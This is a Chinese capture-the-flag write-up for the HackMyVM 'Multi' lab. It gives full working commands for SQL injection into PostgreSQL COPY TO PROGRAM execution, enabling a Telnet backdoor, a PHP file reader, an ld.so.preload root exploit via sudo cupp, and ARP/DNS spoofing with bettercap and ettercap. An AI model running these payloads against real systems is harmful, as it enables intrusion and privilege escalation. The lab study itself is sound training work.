HackMyVM Multi 通关记录|PostgreSQL RCE、Telnet 后门与 sudo cupp 提权
靶机链接:Multi
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Multi | 192.168.1.117 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 23/tcp Telnet、445/tcp SMB、28080/tcp Flask | 确定优先攻击面 |
| 初始突破 | 28080 任意用户名登录 + /search SQL 注入 | 进入数据库层 |
| 本地命令执行 | PostgreSQL 超级用户 + COPY TO PROGRAM | 获得 postgres 本地执行能力 |
横向到 xiao | 审计 custom_login 和 /etc/default/telnet | 打开 Telnet 空密码后门 |
横向到 todd | xiao 写 PHP 到 /var/www/html/pub,读 .passowrd_creds | 拿到 SSH 凭据 |
| 权限提升入口 | sudo -l 发现 NOPASSWD /usr/bin/cupp | 两条提权路线共用入口 |
| 权限提升路线 A | sudo /usr/bin/cupp -i 本地交互写文件 + /etc/ld.so.preload | 获得 root |
| 权限提升路线 B | sudo /usr/bin/cupp -l + bettercap / ettercap MITM | 让 root 下载器写入 /etc/ld.so.preload |
0x02 侦察与信息收集 (Reconnaissance)
1. RustScan 联动 Nmap 全端口识别
按照“先 RustScan,后 Nmap”的习惯先扫端口,再做服务识别:
rustscan -a 192.168.1.117 --ulimit 5000 -- -sV -sC -oA rustscan_nmap_192.168.1.117
关键结果:
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3
23/tcp open telnet Linux telnetd
53/tcp closed domain
80/tcp open http Apache httpd 2.4.62 ((Debian))
111/tcp open rpcbind 2-4
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
2049/tcp open nfs 3-4
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
28080/tcp open http Werkzeug/3.1.3 Python/3.9.2 - title: Admin Panel
44765/tcp open nlockmgr
46031/tcp open mountd
52887/tcp open mountd
58767/tcp open mountd
主机脚本信息:
NetBIOS name: MULTI
Workgroup: SECUREGROUP
SMB signing enabled but not required
MAC: 08:00:27:5D:E8:96 (Oracle VirtualBox)
分析:
这个靶机开放面不小,但真正值得优先看的不是 FTP/NFS,而是:
445:看匿名 SMB 有没有共享目录。28080:明显是一个额外的 Python/Flask 管理面板。23:Telnet 在现代主机上本身就很反常,哪怕不能直接打,也值得留意。
2. 匿名 SMB 枚举
先看匿名共享:
smbclient -L //192.168.1.117 -N
结果:
secure_share Disk
IPC$ IPC
继续查看共享内容并下载唯一可见文件:
smbclient //192.168.1.117/secure_share -N -c ls
smbclient //192.168.1.117/secure_share -N -c 'get bettercap bettercap'
结果:
bettercap 159 bytes
文件内容:
bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse engineers
分析:
这个文件当时还不能直接利用,但它像是作者留下的提示,暗示后面可能会有网络层中间人路线。先记下来,不急着深挖。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. 28080 登录逻辑:任意用户名都能建会话
访问 28080 后,先用最简单的用户名测试登录:
curl -s -i -c /tmp/multi.cookies -X POST -d 'username=admin' http://192.168.1.117:28080/
结果:
HTTP/1.1 302 FOUND
Server: Werkzeug/3.1.3 Python/3.9.2
Location: /search
Set-Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.ahzPIA.Qec-wnS8UtIEXlHY6NTc5DD3vpY; HttpOnly; Path=/
分析:
这里只要提交一个非空用户名,就会创建 Flask session 并跳到 /search。也就是说,这里不是“弱口令”,而是根本没有密码验证。
2. /search 参数存在 SQL 注入
先用单引号试探最基础的拼接错误:
curl -s -i -b /tmp/multi.cookies -X POST --data-urlencode "keyword='" http://192.168.1.117:28080/search
返回页面中的关键报错:
Query failed: unterminated quoted string at or near "'"
LINE 1: ...ECT id, username, email FROM users WHERE username LIKE '%%'
这说明后端很可能在做这样的字符串拼接:
SELECT id, username, email FROM users WHERE username LIKE '%<keyword>%'
有了这个结论后,就可以开始做联合查询。
3. 确认数据库身份与版本
先给出完整请求格式。后面所有 SQL 注入步骤都沿用这个模式,只替换 keyword 的内容:
curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=<PAYLOAD>" http://192.168.1.117:28080/search
确认数据库身份与版本时,实际提交的完整命令是:
curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%' UNION SELECT 1,current_user,version()-- -" http://192.168.1.117:28080/search
结果:
current_user: dvuser
PostgreSQL 13.16 (Debian 13.16-0+deb11u1)
继续确认当前账号是不是高权限角色:
curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%' UNION SELECT 1,rolname,rolsuper::text FROM pg_roles-- -" http://192.168.1.117:28080/search
关键结果:
dvuser | true
postgres | true
分析:
这一步非常关键。很多人到这里还停留在“能查数据库”,但这里已经是 PostgreSQL 超级用户了。只要是 rolsuper=true,就应该立刻想到 COPY TO PROGRAM。
4. 审计后端源码:为什么这里能注入
后续审计源码时,关键代码如下:
@app.route("/search", methods=["GET", "POST"])
def search():
...
if request.method == "POST":
keyword = request.form.get("keyword", "")
try:
cur = conn.cursor()
sql = f"SELECT id, username, email FROM users WHERE username LIKE '%{keyword}%'"
cur.execute(sql)
results = cur.fetchall()
conn.commit()
分析:
问题点有两个:
- 使用 Python f-string 直接拼接 SQL。
- 没有参数化查询。
因此单引号闭合后,后面的 SQL 完全可控。更糟的是,这个应用从头到尾复用了一个全局数据库连接,后面如果用长时间阻塞型 payload,还可能把应用自己拖死。
5. PostgreSQL COPY TO PROGRAM 获得本地命令执行
先用一个最短的命令执行验证:
curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pg_id';-- -" http://192.168.1.117:28080/search
然后用 pg_read_file() 把结果读回来:
curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%' UNION SELECT 1,'file',pg_read_file('/tmp/pg_id',0,200)-- -" http://192.168.1.117:28080/search
结果:
uid=112(postgres) gid=119(postgres) groups=119(postgres),112(ssl-cert)
这就说明:虽然 Web 进程是 Flask,但我们实际拿到的是数据库侧的本地执行,身份是 postgres。
6. 为什么不能直接从 postgres 写 WebShell
很多人拿到命令执行第一反应就是“直接往 Web 目录丢一句话”。这里要先验证权限,不要想当然。
测试 payload:
curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%'; COPY (SELECT '') TO PROGRAM 'sh -c \"touch /var/www/html/pub/pg_touch_test 2>/tmp/pg_touch_err\"';-- -" http://192.168.1.117:28080/search
读回报错:
curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%' UNION SELECT 1,'pgtouch',pg_read_file('/tmp/pg_touch_err',0,2000)-- -" http://192.168.1.117:28080/search
结果:
touch: cannot touch '/var/www/html/pub/pg_touch_test': Permission denied
分析:
这一步很重要,因为它逼着我们换思路:
postgres能执行命令;- 但
postgres不能直接写/var/www/html/pub; - 所以接下来应该找“从
postgres横向到能写 Web 目录的本地用户”的路径。
0x04 本地横向:从 postgres 到 xiao
1. 读取用户与敏感文件线索
先从 /etc/passwd 和若干敏感路径入手,确认本机有哪些值得关注的用户和文件。
从本地枚举中得到的重点用户:
xiao:x:1001:1001::/home/xiao:/bin/bash
secure_user:x:1002:1002::/home/secure_user:/bin/bash
samba_user:x:1003:1003::/home/samba_user:/bin/false
todd:x:1000:1000:,,,:/home/todd:/bin/bash
postgres:x:112:119:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
值得重点看的文件:
/opt/app.py
/var/www/html/pub/.passowrd_creds
/usr/local/bin/custom_login
其中 .passowrd_creds 先用 Web 直接访问时是 403:
curl -s -i http://192.168.1.117/pub/.passowrd_creds
结果:
HTTP/1.1 403 Forbidden
2. 23 端口表面现象:Telnet 开着,但空密码默认不通
先做网络侧验证:
nmap -p 23 -sV --script telnet-encryption,telnet-ntlm-info 192.168.1.117
结果:
23/tcp open telnet Linux telnetd
telnet server does not support encryption
手工连一次看看行为:
telnet 192.168.1.117 23
会话回显:
Trying 192.168.1.117...
Connected to 192.168.1.117.
Escape character is '^]'.
Username:
xiao
Password:
backdoor disabled
Connection closed by foreign host.
分析:
这说明 23 端口不是普通的 PAM 登录,而是有一层自定义逻辑。xiao + 空密码 这条路显然被“某个条件”控制着。
3. 审计 custom_login:真正的漏洞不在 Telnet 协议,在包装脚本
xinetd 配置:
service telnet
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
server_args = -h -L /usr/local/bin/custom_login
log_on_failure += USERID
log_type = FILE /var/log/xiao_telnet.log
}
custom_login 里的关键逻辑:
if [[ "$username" == "xiao" ]] && [[ -z "$password" ]]; then
if grep -q "ENABLE_BACKDOOR" /etc/default/telnet 2>/dev/null; then
printf "login successful\r\n"
exec /bin/login -f xiao
exit 0
else
printf "backdoor disabled\r\n"
sleep 1
exit 1
fi
fi
审计结论:
xiao是硬编码后门账号。- 只要密码为空,并且
/etc/default/telnet里出现ENABLE_BACKDOOR,脚本就会执行login -f xiao。 login -f是强制登录,不走正常口令校验。- 真正的致命点不是脚本本身,而是
/etc/default/telnet的权限。
当时本地验证到的要点如下:
/etc/default/telnet -> 0666 root:root
也就是说,只要拿到任意本地低权限命令执行,就能打开后门。
4. 用 PostgreSQL RCE 打开 Telnet 后门
这里不需要复杂 payload,直接写标志文件即可:
curl -s -b /tmp/multi.cookies -X POST --data-urlencode "keyword=%'; COPY (SELECT '') TO PROGRAM 'printf \"ENABLE_BACKDOOR\\n\" > /etc/default/telnet';-- -" http://192.168.1.117:28080/search
写完以后,再次用 xiao + 空密码 登录,回显就变成了:
Username: xiao
Password: <empty>
login successful
至此,我们从 postgres 成功横向到了本地普通用户 xiao。
5. xiao 的历史记录也给了旁证
这部分不是主利用链必须步骤,但很适合帮助新手理解靶机设计思路。
xiao 的历史文件不是普通空文件,而是被主动处理过:
/home/xiao/.bash_history -> /dev/null
owner: root:root
mtime: 2025-07-18 11:13:29
这说明有人刻意让 xiao 的交互历史落空。
反而 postgres 的 .bash_history 暴露了更有价值的痕迹:
cd /usr/local/bin
cat custom_login
cat /etc/default/telnet
echo 'ENABLE_BACKDOOR' > /etc/default/telnet
cd /var/www/html/
cd pub/
touch a
cd /opt
cat app.py
cd /srv
cd secure_share/
它几乎把整条利用链自己串出来了:custom_login、/etc/default/telnet、/var/www/html/pub、/opt/app.py、secure_share。
0x05 从 xiao 到 todd:利用 Web 目录可写与 PHP 执行
1. 确认 xiao 能写 /var/www/html/pub
在 xiao 会话里做一个无害探针:
cd /var/www/html/pub
printf 'WRITE_OK\n' > codex_probe.txt
printf '<?php echo "PHP_OK"; ?>\n' > codex_probe.php
ls -la codex_probe.txt codex_probe.php
结果:
-rw-r--r-- 1 xiao xiao 24 May 31 09:12 codex_probe.php
-rw-r--r-- 1 xiao xiao 9 May 31 09:12 codex_probe.txt
再从 HTTP 侧验证:
curl -s -i http://192.168.1.117/pub/codex_probe.txt
curl -s -i http://192.168.1.117/pub/codex_probe.php
结果:
/pub/codex_probe.txt -> WRITE_OK
/pub/codex_probe.php -> PHP_OK
分析:
这一步确认了两件事:
xiao对/var/www/html/pub有写权限。- Apache 会执行这个目录里的 PHP。
有了这两点,就不需要从 postgres 强行写 WebShell 了,直接让 xiao 落一个最小 PHP 读文件脚本即可。
2. 为什么 xiao 自己读不到 .passowrd_creds
先看权限:
$ ls -l /var/www/html/pub/.passowrd_creds
-rw------- 1 www-data www-data 19 Jul 17 2025 /var/www/html/pub/.passowrd_creds
$ cat /var/www/html/pub/.passowrd_creds
cat: /var/www/html/pub/.passowrd_creds: Permission denied
$ namei -l /var/www/html/pub/.passowrd_creds
drwxr-xr-x xiao www-data pub
-rw------- www-data www-data .passowrd_creds
分析:
xiao 只能写目录,但读不到文件本身。真正能读这个文件的是 Web 服务进程 www-data。所以要借 PHP 去“代读”。
3. 用最小 PHP 文件读取器拿到 todd 的密码
落一个最小读文件脚本:
cd /var/www/html/pub
printf '%s\n' '<?php echo file_get_contents("/var/www/html/pub/.passowrd_creds"); ?>' > cred_reader.php
ls -l cred_reader.php
结果:
-rw-r--r-- 1 xiao xiao 70 May 31 09:17 cred_reader.php
然后通过 HTTP 访问它:
curl -s http://192.168.1.117/pub/cred_reader.php
结果:
koUF5q)*RN&m0PTB&D
再用这个密码去测 SSH:
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no todd@192.168.1.117 id
结果:
uid=1000(todd) gid=1000(todd) groups=1000(todd)
顺手做两个反例验证,避免误判成通用口令:
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no xiao@192.168.1.117 id
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no secure_user@192.168.1.117 id
结果:
Permission denied, please try again.
结论:
.passowrd_creds 里存放的是 todd 的 SSH 密码,而不是 xiao 或 secure_user 的密码。
0x06 权限提升:sudo cupp 写入 ld.so.preload
1. 共同入口:sudo -l 发现 cupp
登录 todd 后先做最基础的 sudo 枚举:
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no todd@192.168.1.117 'sudo -l'
结果:
User todd may run the following commands on Multi:
(ALL : ALL) NOPASSWD: /usr/bin/cupp
很多新手看到这里只会想到 GTFOBins,但这里真正值钱的不是“能 sudo 一个脚本”,而是这个脚本本身有文件写入缺陷。
路线 A:sudo cupp -i 本地交互写文件
1. 审计 cupp.py:输出文件名可控
先确认真实脚本位置和关键调用点:
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no todd@192.168.1.117 'ls -l /usr/bin/cupp'
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no todd@192.168.1.117 'grep -n "def print_to_file\\|print_to_file(profile\\[\"name\"\\] + \".txt\"\\|wcfrom\\|wcto" /usr/share/cupp/cupp.py /etc/cupp.cfg'
关键结果:
/usr/bin/cupp -> ../share/cupp/cupp.py
def print_to_file(filename, unique_list_finished):
f = open(filename, "w")
print_to_file(profile["name"] + ".txt", unique_list_finished)
/etc/cupp.cfg:
wcfrom=5
wcto=12
这段代码到底说明什么?
sudo /usr/bin/cupp -i实际上是以 root 身份运行 Python 脚本。- 交互模式里第一个输入项
First Name会被当成输出文件名。 - 程序直接
open(filename, "w"),没有路径限制。 - 写进去的不是任意字节,而是程序生成出来的单词列表。
cupp.cfg把单词长度限制在5..12,所以写入内容必须足够短。
这也是为什么这里最顺手的目标不是 authorized_keys、sudoers、cron,而是 /etc/ld.so.preload:它只需要一行较短的共享库路径即可。
2. 准备 .so 构造器和 SUID bash
思路是:
- 先复制一个
bash出来。 - 编译一个共享库。
- 当 root 进程加载这个共享库时,构造函数把
bash改成root:root并加04755。 - 顺手删掉
/etc/ld.so.preload,避免系统一直报错。
准备命令如下:
cp /bin/bash /tmp/bash
cat >/tmp/x.c <<'EOF'
#include <unistd.h>
#include <sys/stat.h>
__attribute__((constructor)) static void init(void){
chown("/tmp/bash", 0, 0);
chmod("/tmp/bash", 04755);
unlink("/etc/ld.so.preload");
}
EOF
gcc -fPIC -shared -o /tmp/x.so /tmp/x.c
3. 为什么 symlink 不能放在 /tmp
第一次尝试用 /tmp/p.txt -> /etc/ld.so.preload 失败了。原因不是 cupp 不行,而是 Linux 默认启用了 sticky 目录下的 symlink 保护。
所以最后实际成功的做法是:
- 共享库还放在
/tmp/x.so - 但符号链接改放到
todd家目录
成功命令如下:
ln -sf /etc/ld.so.preload /home/todd/p.txt
printf '/home/todd/p\n/tmp/x.so\n\n\n\n\n\n\n\n\n\n\nn\nn\nn\nn\n' | sudo /usr/bin/cupp -i
结果:
[+] Saving dictionary to /home/todd/p.txt, counting 4 words.
这里的一行 printf 看起来丑,但它是本地验证过的最稳写法。按 cupp.py 的源码顺序展开以后,实际对应的是下面这张完整表。也就是说,这里一共按了 10 次空回车,然后又输入了 4 次 n:
| 顺序 | 交互项 | 输入值 |
|---|---|---|
| 1 | First Name | /home/todd/p |
| 2 | Surname | /tmp/x.so |
| 3 | Nickname | 直接回车 |
| 4 | Birthdate (DDMMYYYY) | 直接回车 |
| 5 | Partners) name | 直接回车 |
| 6 | Partners) nickname | 直接回车 |
| 7 | Partners) birthdate (DDMMYYYY) | 直接回车 |
| 8 | Child's name | 直接回车 |
| 9 | Child's nickname | 直接回车 |
| 10 | Child's birthdate (DDMMYYYY) | 直接回车 |
| 11 | Pet's name | 直接回车 |
| 12 | Company name | 直接回车 |
| 13 | Do you want to add some key words about the victim? | n |
| 14 | Do you want to add special chars at the end of words? | n |
| 15 | Do you want to add some random numbers at the end of words? | n |
| 16 | Leet mode? (i.e. leet = 1337) | n |
因为第 13 个问题回答的是 n,所以不会再出现下一步的 Please enter the words, separated by comma... 提示。
因为 cupp 会自动在文件名后加 .txt,所以输入 /home/todd/p,最终实际打开的是 /home/todd/p.txt。而这个路径已经被我们提前做成了指向 /etc/ld.so.preload 的符号链接。
4. 写入结果与触发方式
这次执行以后,/etc/ld.so.preload 中出现了如下内容:
/Tmp/X.So
/Tmp/X.So_
/tmp/x.so
/tmp/x.so_
其中只有 /tmp/x.so 是有效路径,另外几行只是 cupp 生成的变体。即使有无效行,动态链接器仍然会尝试加载有效那一行。
接下来只要触发一个 root 动态程序即可。这里直接再次执行 sudo -l:
sudo -l
ls -l /tmp/bash
结果:
-rwsr-xr-x 1 root root 1168776 May 31 09:22 /tmp/bash
再检查 preload 文件是否被构造器清理:
ls -l /etc/ld.so.preload 2>/dev/null || echo preload_removed
结果:
preload_removed
5. Root Shell 与两个 Flag
最后直接用 -p 保留提权身份:
/tmp/bash -p -c 'id; echo ---USER---; cat /home/xiao/user.txt; echo ---ROOT---; cat /root/root.txt'
结果:
uid=1000(todd) gid=1000(todd) euid=0(root) groups=1000(todd)
---USER---
flag{user-33b02bc15ce9557d2dd8484d58f95ac4}
---ROOT---
flag{root-922c8837565de5bd2e342c65a2e67ef9}
路线 A 结论:
cupp -i 本地写文件提权链如下:
28080 Flask 登录绕过
-> /search SQL 注入
-> PostgreSQL COPY TO PROGRAM
-> custom_login 后门审计
-> Telnet 登录 xiao
-> PHP 代读 .passowrd_creds
-> SSH 登录 todd
-> sudo cupp 任意文件写
-> /etc/ld.so.preload
-> root
路线 B:cupp -l 网络中间人提权
这条路线和前面的 cupp -i 不同:不再通过交互模式写本地词表,而是利用 cupp -l 这个 root 下载器。cupp -l 选择菜单里的 2 = afrikaans 时,会下载:
http://ftp.funet.fi/pub/unix/security/passwd/crack/dictionaries/afrikaans/afr_dbf.zip
如果通过网络中间人把 ftp.funet.fi 解析到攻击机,并让 Web 服务返回共享库路径,例如:
/home/todd/mitm_x.so
再让 todd 在当前目录提前创建:
dictionaries/afrikaans/afr_dbf.zip -> /etc/ld.so.preload
那么 root 身份运行的 cupp -l 就会把下载内容写进 /etc/ld.so.preload。后续只要触发一个 root 动态程序,就能加载我们的 .so,生成 SUID bash。
这条思路本地验证了两种实现方法:
bettercapettercap
方法 1:bettercap
前面匿名 SMB 共享里出现过一个 bettercap 提示文件,这条线后来也验证通了。
攻击机侧先确认工具和路由:
which bettercap
dpkg -l | grep -E '^ii\s+bettercap\b'
ip route get 192.168.1.117
关键结果:
/usr/bin/bettercap
ii bettercap 2.41.5-0kali1
192.168.1.117 dev eth0 src 192.168.1.113
准备伪造下载文件。目录必须匹配 cupp -l 请求的真实路径:
mkdir -p /home/kali/wp/Multi/mitm_http/pub/unix/security/passwd/crack/dictionaries/afrikaans
printf '/home/todd/mitm_x.so\n' > /home/kali/wp/Multi/mitm_http/pub/unix/security/passwd/crack/dictionaries/afrikaans/afr_dbf.zip
准备 bettercap caplet:
cat > /home/kali/wp/Multi/bettercap_ftp_funet.cap <<'EOF'
set arp.spoof.targets 192.168.1.117
set arp.spoof.fullduplex true
set dns.spoof.domains ftp.funet.fi
set dns.spoof.address 192.168.1.113
set http.server.address 0.0.0.0
set http.server.port 80
set http.server.path /home/kali/wp/Multi/mitm_http
http.server on
dns.spoof on
arp.spoof on
events.clear
EOF
启动 bettercap:
sudo bettercap -no-history -iface eth0 -caplet /home/kali/wp/Multi/bettercap_ftp_funet.cap
先验证普通 urllib 已经被劫持:
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 'python3 - << "PY"
import socket, urllib.request
print("RESOLVED", socket.gethostbyname("ftp.funet.fi"))
print(urllib.request.urlopen("http://ftp.funet.fi/pub/unix/security/passwd/crack/dictionaries/afrikaans/afr_dbf.zip", timeout=10).read())
PY'
期望看到 ftp.funet.fi 解析到攻击机,并返回我们准备的共享库路径:
RESOLVED 192.168.1.113
b'/home/todd/mitm_x.so\n'
先做无副作用验证,把下载结果写入普通文件:
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 'rm -rf /home/todd/mitmcheck &&
mkdir -p /home/todd/mitmcheck/dictionaries/afrikaans &&
rm -f /home/todd/mitm_result.bin &&
ln -sf /home/todd/mitm_result.bin /home/todd/mitmcheck/dictionaries/afrikaans/afr_dbf.zip &&
cd /home/todd/mitmcheck &&
printf "2\n" | sudo /usr/bin/cupp -l &&
ls -l /home/todd/mitm_result.bin &&
od -An -tx1 -c /home/todd/mitm_result.bin'
这里的 printf "2\n" 只回答 cupp -l 的唯一交互问题:
| 顺序 | 交互项 | 输入值 |
|---|---|---|
| 1 | Choose the section you want to download / > Enter number: | 2 |
在 cupp.py 的下载菜单里,2 对应:
2 afrikaans
之所以选 afrikaans,是因为它只请求单个文件 dictionaries/afrikaans/afr_dbf.zip,验证和利用都更干净。
最终利用前,先在 todd 家目录准备共享库和 SUID bash:
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 'rm -rf /home/todd/mitmroot &&
mkdir -p /home/todd/mitmroot/dictionaries/afrikaans &&
rm -f /home/todd/mitm_bash /home/todd/mitm_x.c /home/todd/mitm_x.so &&
cp /bin/bash /home/todd/mitm_bash &&
cat > /home/todd/mitm_x.c << "EOF"
#include <unistd.h>
#include <sys/stat.h>
__attribute__((constructor)) static void init(void){
chown("/home/todd/mitm_bash", 0, 0);
chmod("/home/todd/mitm_bash", 04755);
unlink("/etc/ld.so.preload");
}
EOF
gcc -fPIC -shared -o /home/todd/mitm_x.so /home/todd/mitm_x.c &&
ln -sf /etc/ld.so.preload /home/todd/mitmroot/dictionaries/afrikaans/afr_dbf.zip &&
cd /home/todd/mitmroot &&
printf "2\n" | sudo /usr/bin/cupp -l &&
sudo -l >/dev/null 2>&1 &&
ls -l /home/todd/mitm_bash &&
ls -l /etc/ld.so.preload 2>/dev/null || echo preload_removed &&
/home/todd/mitm_bash -p -c "id; echo ---USER---; cat /home/xiao/user.txt; echo ---ROOT---; cat /root/root.txt"'
结果:
-rwsr-xr-x 1 root root 1168776 ... /home/todd/mitm_bash
preload_removed
uid=1000(todd) gid=1000(todd) euid=0(root) groups=1000(todd)
---USER---
flag{user-33b02bc15ce9557d2dd8484d58f95ac4}
---ROOT---
flag{root-922c8837565de5bd2e342c65a2e67ef9}
方法 2:ettercap
ettercap 这条线也验证过。和 bettercap 的主要区别是:它需要临时改攻击机本地的 /etc/ettercap/etter.dns。
先追加 DNS 规则,并保留备份:
sudo cp /etc/ettercap/etter.dns /tmp/etter.dns.multi.bak
printf '\nftp.funet.fi AAAA :: 60\nftp.funet.fi A 192.168.1.113 60\n' | sudo tee -a /etc/ettercap/etter.dns >/dev/null
tail -n 6 /etc/ettercap/etter.dns
结果:
#ftp.funet.fi AAAA :: 60
#ftp.funet.fi A 192.168.1.113 60
ftp.funet.fi AAAA :: 60
ftp.funet.fi A 192.168.1.113 60
启动本地 HTTP 服务:
sudo python3 -m http.server 80 -d /home/kali/wp/Multi/mitm_http
启动 ettercap:
sudo ettercap -T -q -i eth0 \
-M arp:remote /192.168.1.117// /192.168.1.1// \
-P dns_spoof \
-m /home/kali/wp/Multi/ettercap_dns_spoof.log
关键启动信息:
GROUP 1 : 192.168.1.117 ...
GROUP 2 : 192.168.1.1 ...
Activating dns_spoof plugin...
同样先验证普通 urllib:
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 "python3 -c \"import socket,urllib.request; print('RESOLVED',socket.gethostbyname('ftp.funet.fi')); print(urllib.request.urlopen('http://ftp.funet.fi/pub/unix/security/passwd/crack/dictionaries/afrikaans/afr_dbf.zip').read())\""
结果:
RESOLVED 192.168.1.113
b'/home/todd/mitm_x.so\n'
无副作用验证:
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 'rm -rf /home/todd/mitmcheck_etter2;
mkdir -p /home/todd/mitmcheck_etter2/dictionaries/afrikaans;
rm -f /home/todd/mitm_result_etter2.bin;
ln -sf /home/todd/mitm_result_etter2.bin /home/todd/mitmcheck_etter2/dictionaries/afrikaans/afr_dbf.zip;
cd /home/todd/mitmcheck_etter2;
printf "2\n" | sudo /usr/bin/cupp -l >/tmp/cupp_etter2.out 2>&1;
echo RC:$?;
ls -l /home/todd/mitm_result_etter2.bin;
od -An -tx1 -N 32 /home/todd/mitm_result_etter2.bin'
结果:
RC:0
-rw-r--r-- 1 root root 21 ... /home/todd/mitm_result_etter2.bin
2f 68 6f 6d 65 2f 74 6f 64 64 2f 6d 69 74 6d 5f
78 2e 73 6f 0a
中间有一次失败也很有价值:当本地 http.server 和 ettercap 进程退出后,cupp -l 会回退抓真实 ZIP,并把 PK... 写进 /etc/ld.so.preload。当时靶机上的典型症状是:
ERROR: ld.so: object 'PK' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
这说明 ettercap 不是“有时可行有时不行”,而是必须保证本地 MITM 组件还活着。
最终提权:
sshpass -p 'koUF5q)*RN&m0PTB&D' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
todd@192.168.1.117 'rm -rf /home/todd/mitmroot_etter;
mkdir -p /home/todd/mitmroot_etter/dictionaries/afrikaans;
rm -f /home/todd/mitm_bash /home/todd/mitm_x.c /home/todd/mitm_x.so;
cp /bin/bash /home/todd/mitm_bash;
printf "#include <unistd.h>\n#include <sys/stat.h>\n__attribute__((constructor)) static void init(void){\n chown(\"/home/todd/mitm_bash\", 0, 0);\n chmod(\"/home/todd/mitm_bash\", 04755);\n unlink(\"/etc/ld.so.preload\");\n}\n" > /home/todd/mitm_x.c;
gcc -fPIC -shared -o /home/todd/mitm_x.so /home/todd/mitm_x.c;
ln -sf /etc/ld.so.preload /home/todd/mitmroot_etter/dictionaries/afrikaans/afr_dbf.zip;
cd /home/todd/mitmroot_etter;
printf "2\n" | sudo /usr/bin/cupp -l >/tmp/cupp_etter_root.out 2>&1;
sudo -l >/dev/null 2>&1;
ls -l /home/todd/mitm_bash;
ls -l /etc/ld.so.preload 2>/dev/null || echo preload_removed;
/home/todd/mitm_bash -p -c "id; echo ---USER---; cat /home/xiao/user.txt; echo ---ROOT---; cat /root/root.txt"'
结果:
-rwsr-xr-x 1 root root 1168776 ... /home/todd/mitm_bash
preload_removed
uid=1000(todd) gid=1000(todd) euid=0(root) groups=1000(todd)
---USER---
flag{user-33b02bc15ce9557d2dd8484d58f95ac4}
---ROOT---
flag{root-922c8837565de5bd2e342c65a2e67ef9}
攻击机侧清理:
sudo pkill -f 'python3 -m http.server 80 -d /home/kali/wp/Multi/mitm_http'
sudo pkill -f 'ettercap -T -q -i eth0 -M arp:remote /192.168.1.117// /192.168.1.1// -P dns_spoof'
sudo cp /tmp/etter.dns.multi.bak /etc/ettercap/etter.dns
0x07 最终成果 (Final Flags)
User Flag
- 路径:
/home/xiao/user.txt - 内容:
flag{user-33b02bc15ce9557d2dd8484d58f95ac4}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-922c8837565de5bd2e342c65a2e67ef9}
凭据汇总
| 用户 / 服务 | 凭据 | 来源 |
|---|---|---|
| Flask session | 任意非空用户名 | 28080 登录逻辑只写入 session |
Telnet xiao | 空密码 | custom_login 后门逻辑,需 /etc/default/telnet 含 ENABLE_BACKDOOR |
SSH todd | koUF5q)*RN&m0PTB&D | Web 服务代读 /var/www/html/pub/.passowrd_creds |
复盘总结
Multi 的主线不是单一 Web 漏洞,而是多个“信任边界被写穿”串在一起。
- 登录绕过和 SQL 注入要连着看。 这里任意用户名登录只是入口,真正危险的是
/search里 f-string 拼接 SQL。 - PostgreSQL 超级用户要想到
COPY TO PROGRAM。 一旦rolsuper=true,数据库查询能力就升级成了本地命令执行能力。 - Telnet 的风险不只在明文协议。 这题真正危险的是
custom_login + world-writable /etc/default/telnet,协议只是入口。 - Web 目录可写不等于文件可读。
